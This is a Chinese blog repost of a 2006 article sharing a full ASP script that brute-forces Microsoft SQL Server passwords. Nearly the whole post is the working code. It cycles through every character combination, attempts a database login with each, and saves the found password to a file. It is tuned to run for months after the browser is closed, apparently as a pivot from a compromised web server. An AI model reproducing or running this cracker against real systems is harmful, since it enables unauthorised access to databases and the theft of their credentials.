Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3098312
  • 博文数量: 797
  • 博客积分: 10134
  • 博客等级: 上将
  • 技术积分: 9335
  • 用 户 组: 普通用户
  • 注册时间: 2006-06-22 22:57
个人简介

1

文章分类

全部博文(797)

文章存档

2022年(1)

2021年(2)

2017年(2)

2016年(1)

2015年(4)

2014年(1)

2013年(6)

2012年(6)

2011年(10)

2010年(26)

2009年(63)

2008年(61)

2007年(51)

2006年(563)

我的朋友

分类: 系统运维

2006-08-14 21:38:36

作者:lake2 来源:lake2的专栏

一个暴力破解MSSQL用户密码的ASP程序,最早发布在EST论坛。以下这个版本是可以运行之后关闭浏览器,运行完毕将在当前目录生成结果文件的。 用ASP做事情效率很慢,当然这个程序所体现的不是它的效率,而是……给你点悬念,不然多没意思哦。

自己把以下代码保存为ASP文件。当然我还是一如既往的BS那些只改作者名字的家伙。
程序代码 程序代码
<%
'============ ASP Port Scanner by lake2 ===================
'
'Version: 0.1
'For SpringBoard
'==========================================================
%>

body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
.styleRed {color: #FF0000}

MSSQL Cracker for SpringBoard
<%
Dim Password()
If Request.Form("go") <> "1" Then
%>
 Welcome to  

 
 ConnStr: 
 
 

 Char:     
 
   

Length:  


 
Path:     
" size="50">

Enablel






<%
Else
 timer1 = timer
 Server.ScriptTimeout = 7776000
 ConnStr = Request.Form("Conn")
 Char = request.Form("char")
 LenChar = Len(Char)
 ReDim password(LenChar)
 For i = 1 to LenChar
 password(i) = Mid(Char, i, 1)
 Next
 length = CInt(request.Form("len"))
 Call LAKE("")
 response.Write "Done!
Process " & tTime & " s"
 If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime)
End If

Sub LAKE(str)
 If Len(str) >= length Then Exit Sub
 For j = 1 to LenChar
 pass = str & password(j)
 If Len(pass) = length Then Call Crack(pass)
 Call LAKE(pass)
 Next
End Sub

Sub Crack(str)
 On Error Resume Next
 Set conn = Server.CreateObject("ADODB.connection")
 conn.open Replace(ConnStr,"{PASS}",str)
 If Err Then
 If Err.Number <> -2147217843 Then
 response.Write(Err.Description & "
")
 response.End()
 End If
 Else
 response.Write("I Get it ! Password is " & str & "
Process " & tTime & " s")
 If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime)
 response.End()
 End If
End Sub

Function tTime()
 timer2 = timer
 thetime=cstr(int(timer2-timer1))
 tTime = thetime
End Function

Sub CreateResult(t)
 Set fs = CreateObject("Scripting.FileSystemObject") 
 Set outfile = fs.CreateTextFile(request.Form("path"))
 outfile.WriteLine t
 Set fs = Nothing
End Sub
%> 
阅读(1311) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~